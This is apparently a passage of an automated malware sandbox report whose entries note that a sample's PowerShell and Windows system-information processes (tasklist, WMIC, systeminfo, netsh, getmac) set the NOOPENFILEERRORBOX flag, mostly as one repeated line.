Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
